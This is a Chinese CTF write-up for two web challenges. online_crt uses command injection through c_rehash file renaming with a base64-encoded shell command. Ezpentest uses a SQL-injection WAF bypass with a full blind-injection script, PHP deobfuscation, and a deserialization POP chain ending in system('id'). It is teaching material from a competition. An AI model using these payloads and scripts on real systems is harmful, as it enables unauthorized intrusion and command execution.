online_crt–(done)
放一放最后拿 flag 截图
代码审计
c_rehash 有漏洞,利用点是 filename
是一个 cve 漏洞
找到的 b 站视频讲解
https://www.bilibili.com/video/BV1P54y1Z7S6/?spm_id_from=333.788.videocard.8
但是没说清楚利用点在哪,最后看一下参数名字叫做fname
。发现和前面看到的rename
对应上,所以猜测指的是filename
- 8887 端口可以 rename 文件名,只要传参正确(当时试了好久才传对 x
首先是CRLF 绕过,然后是绕过
1
| c.Request.URL.RawPath != ""
|
对 admin 后的/
url 编码成%2f
通过 postman 进行传参
1 2 3 4 5 6 7 8 9
| /admin%2frename?oldname=ee1e4958-8a4c-41e4-9df0-2184ed017a8c.crt&newname=a%2Ecrt%22%26%20echo%20%22Y2F0IC9mbGFn%22%20%7C%20base64%20%2Dd%20%7C%20sh%22 HTTP/1.1 Host: admin User-Agent: Guest Accept-Encoding: gzip, deflate Accept-Language: zh-CN,zh;q=0.9 Connection: close
GET /
|
rename 成功,会给回显
$fname = ‘a.crt”& echo “Y2F0IC9mbGFn” | base64 -d | sh”‘
(使用 base64 是因为:多次尝试发现文件名无法传入 /
原因可能是:1.crt||cat /flag
可能会变成文件夹,rename 失败,直接 return)
拼接到下面
1
| my ($hash, $fprint) = `"$openssl" crl $crlhash -fingerprint -noout -in a.crt"& echo "Y2F0IC9mbGFn" | base64 -d | sh"`;
|
Ezpentest(菜狗复现)
比赛时放了两个 hint,根本就没看到呀。
如果看到了,我应该会想起虎符的那道 sql 的
可惜了,我是菜狗
0x01 SQL 注入
题目给了两个 hint,都是关于这一步的 sql 注入捏
waf 是这样的,会让人想到虎符 2022 的那道ezsql
1 2 3 4 5 6 7
| <?php function safe($a) { $r = preg_replace('/[\s,()#;*~\-]/','',$a); $r = preg_replace('/^.*(?=union|binary|regexp|rlike).*$/i','',$r); return (string)$r; } ?>
|
不一样的地方是多过滤了:
regexp rlike ~
拿虎符大佬们的 payload 来改一改就可以用了
1 2 3
| payload={ 'password':'xxx', 'username':f"'||case`password`regexp'^{flag+temp}'COLLATE'utf8mb4_bin'when'1'then~0+1+''else'0'end||'" }
|
mysql — like %
模糊查询
%
:表示任意 0 个或多个字符。可匹配任意类型和长度的字符
_
: 表示任意单个字符。匹配单个任意字符
[ ]
:表示括号内所列字符中的一个 - 指定一个字符、字符串或范围,要求所匹配对象为它们中的任一个
regrep'^{flag+temp}'
替换成 like'{}%'
1 2 3 4 5
| '||case`password`regexp'^{flag+temp}'COLLATE'utf8mb4_bin'when'1'then~0+1+''else'0'end||'
前后对比
xxx'||case'1'when`password`like'{}%'COLLATE`utf8mb4_0900_bin`then+9223372036854775807+1+''else'1'end||'xxx
|
而且,对于这种匹配,一些特殊字符要进行反斜杠注释
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16
| for ascii in 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789^!?$': temp=ascii if(temp in '^!?$'): temp="\\\\\\"+temp
black_list = ",()#;*~\-'" while True: for j in range(33, 128): if chr(j) in black_list: continue
if j == 95 or j == 37: y = '\\' + chr(j) else: y = chr(j)
|
注入脚本搁这了(虽然不可能是我自己写的.jpg)
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37
| import requests
burp0_url = "http://1.14.71.254:28843/login.php"
burp0_cookies = {"PHPSESSID": "2kkgp0036snjurd71desk4mr90", "__jsluid_h": "dd80fe7c3cfe65e11fe52da5fcfc1991"} burp0_headers = {"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:100.0) Gecko/20100101 Firefox/100.0", "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8", "Accept-Language": "zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2", "Accept-Encoding": "gzip, deflate", "Content-Type": "application/x-www-form-urlencoded", "Origin": "http://eci-2zebelhabwvwjvw18er6.cloudeci1.ichunqiu.com", "Connection": "close", "Referer": "http://eci-2zebelhabwvwjvw18er6.cloudeci1.ichunqiu.com/", "Upgrade-Insecure-Requests": "1"}
flag = '' black_list = ",()#;*~\-'"
while True: for j in range(33, 128): if chr(j) in black_list: continue
if j == 95 or j == 37: y = '\\' + chr(j) else: y = chr(j) burp0_data = { "username": "xxx'||case'1'when`password`like'{}%'COLLATE`utf8mb4_0900_bin`then+9223372036854775807+1+''else'1'end||'xxx".format( flag + y), "password": "aaa"} res = requests.post(burp0_url, headers=burp0_headers, cookies=burp0_cookies, data=burp0_data) print chr(j) + " : " + str(res.status_code) if res.status_code == 500: if j == 95 or j == 37: flag += '\\' + chr(j) else: flag += chr(j) print flag break if j == 127: print flag.replace("\\", '') exit(0)
|
0x02 php 反混淆
注入出账号密码(账号密码好复杂呀
登陆进去
有两个 php 文件
这里建议用curl
把网站信息拉下来,更方便
html 里面有关于混淆的提示,说的是
< ?php /_ PHP Encode by https://Www.PHPJiaMi.Com/ _/ ………..
github 上可以找到解密脚本https://github.com/wenshui2008/phpjiami_decode
反混淆之后的脚本,发现这个就是
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27
| <?php session_start(); if(!isset($_SESSION['login'])){ die(); } function Al($classname){ include $classname.".php"; }
if(isset($_REQUEST['a'])){ $c = $_REQUEST['a']; $o = unserialize($c); if($o === false) { die("Error Format"); }else{ spl_autoload_register('Al'); $o = unserialize($c); $raw = serialize($o); if(preg_match("/Some/i",$raw)){ throw new Error("Error"); } $o = unserialize($raw); var_dump($o); } }else { echo file_get_contents("SomeClass.php"); }
|
1Nd3x_Y0u_N3v3R_Kn0W.php
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70
| <?php class A { public $a; public $b; public function see() { $b = $this->b; $checker = new ReflectionClass(get_class($b)); if(basename($checker->getFileName()) != 'SomeClass.php'){ if(isset($b->a)&&isset($b->b)){ ($b->a)($b->b.""); } } } } class B { public $a; public $b; public function __toString() { $this->a->see(); return "1"; } } class C { public $a; public $b; public function __toString() { $this->a->read(); return "lock lock read!"; } } class D { public $a; public $b; public function read() { $this->b->learn(); } } class E { public $a; public $b; public function __invoke() { $this->a = $this->b." Powered by PHP"; } public function __destruct(){ die($this->a); } } class F { public $a; public $b; public function __call($t1,$t2) { $s1 = $this->b; $s1(); } } ?>
|
接下来就剩两个 php 文件来反序列化了
0x03 php 反序列化
0x01
1 2 3 4 5 6 7 8 9 10 11 12 13 14
| function Al($classname){ include $classname.".php"; } ...... $c = $_REQUEST['a']; $o = unserialize($c); spl_autoload_register('Al'); $o = unserialize($c); $raw = serialize($o); if(preg_match("/Some/i",$raw)){ throw new Error("Error"); } $o = unserialize($raw); var_dump($o);
|
spl_autoload_register('Al');
- 将函数
Al
当做 __autoload
时调用的函数
- 当使用尚未被定义的类(class) 和接口(interface) 时自动去加载
首先,题目肯定是要 include SomeClass.php
所以得尝试绕过函数 preg_match("/Some/i",$raw)
有点忘了反序列化的函数啥功能了,得重新补回来
0x02 强制 GC 自动销毁机制
经过仔细 debug,把 SomeClass.php 中die($this->a);
写成echo(this->$a);
强制 GC 这么神奇,在 vscode 调了一下午,可算给我整不会了
1 2 3 4 5
| <?php include "SomeClass.php"; $a = 'a:2:{i:0;O:9:"SomeClass":1:{s:1:"a";O:1:"E":2:{s:1:"a";O:1:"B":2:{s:1:"a";O:1:"A":2:{s:1:"a";N;s:1:"b";C:11:"ArrayObject":59:{x:i:0;a:0:{};m:a:2:{s:1:"a";s:6:"system";s:1:"b";s:2:"id";}}}s:1:"b";N;}s:1:"b";N;}}i:0;i:0;}'; $b = unserialize($a); var_dump($b);
|
- 包含外部含 class 的文件后
$b = unserialize($a)
- 会直接进入销毁阶段,从而调用
__deconstruct
var_dump($b)
这时候,$b
已经没有东西了,变成了这个样子array(1) { [0]=> int(0) }
- 啊哈,所以这样直接调用die()
,不会被后面的检测 Some 给查到
使用一个 array 数组,数据的第一部分为SomeClass
类,在后面填塞脏数据1
。
因为在反序列化时是由内而外的,也就是先反序列化属性然后把他们拼在一起。
这里反序列化了 SomeClass 类后,对于后面的脏数据无法反序列化成功,导致强制 GC 了(直接把这个内容销毁了)
这时候已经反序化成功的 SomeClass 就会执行__destruct
从而获得 flag
- 叠数组 array,
0=>$class, 1=>0
- 再把反序列化数据中对应的
array[1]=0
改成array[0]=0
,和前面重复
0x03 pop 链构造
1 2
| $checker = new ReflectionClass(get_class($b)); if(basename($checker->getFileName()) != 'SomeClass.php'){
|
先给类 A 中的ReflectionClass::getFileName
给解释一下:
- 也就是说:如果
$b
不能是一个 SomeClass.php 里面定义的类
- 应该使用一个外部类
- 而且得可以对这个类中定义两个变量,一个 a,一个 b
pop 链构造也就三段而已,挺简单的,主要是前面的绕过比较扯蛋
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15
| class SomeClass{ } $e = new E(); $a = new A(); $b = new B(); $e->a = $b; $b->a = $a; $arr = new ArrayObject(); $arr->a = "system"; $arr->b = "id"; $arr->c = "sdfasdfasd"; $a->b = $arr; $c = new SomeClass(); $c->a = $e; echo str_replace("i:1;", "i:0;", serialize(array($c,1)));
|
最后 payload
1
| a:2:{i:0;O:9:"SomeClass":1:{s:1:"a";O:1:"E":2:{s:1:"a";O:1:"B":2:{s:1:"a";O:1:"A":2:{s:1:"a";N;s:1:"b";C:11:"ArrayObject":85:{x:i:0;a:0:{};m:a:3:{s:1:"a";s:6:"system";s:1:"b";s:2:"id";s:1:"c";s:10:"sdfasdfasd";}}}s:1:"b";N;}s:1:"b";N;}}i:0;i:0;}
|